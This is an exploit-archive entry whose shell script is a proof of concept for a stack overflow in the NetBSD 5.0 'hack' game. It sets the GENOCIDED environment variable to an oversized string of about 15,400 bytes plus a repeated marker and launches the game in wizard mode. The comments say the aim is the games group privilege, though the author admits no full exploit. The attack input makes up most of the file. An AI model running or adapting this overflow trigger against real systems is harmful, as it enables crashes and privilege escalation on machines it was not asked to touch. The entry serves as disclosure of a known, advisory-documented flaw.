NetBSD 5.0 - Hack GENOCIDE Environment Overflow (PoC)

Author: JMIT
type: dos
platform: netbsd_x86
port: 
date_added: 2010-05-17  
date_updated:   
verified: 0  
codes: OSVDB-55563  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 12652.sh  

#!/bin/sh

# NetBSD 5.0 and below Hack GENOCIDE Environment overflow proof of concept
# Successfull Exploitation gives guid 100 (games)
# Vulnerable Function is in hack.main.c.
# /usr/games/hack -D use the wizard mode. Only work in wizard mode.
# It is a basic strcpy stack overflow. Such overflows are hard to exploit in
# NetBSD. If you can exploit it successfully feel free to contact me
# Original Advisorie: NetBSD-SA2009-007

# Title: hack rougelike game GENOCIDE stack overflow
# Author: JMIT (office@johannesmaria.at)
# Date: 18. May 2010
# Software Link: Contained in all NetBSD Distributions as default
# Version: NetBSD 5.0 and below
# Tested on: NetBSD 5.0-RELEASE
# CVE: Not available. See NetBSD-SA2009-007
# Code:


# office@johannesmaria.at

export GENOCIDED=`perl -e 'print "X"x15400;print "\x41\x42\x43\x44"x15'` && /usr/games/hack -D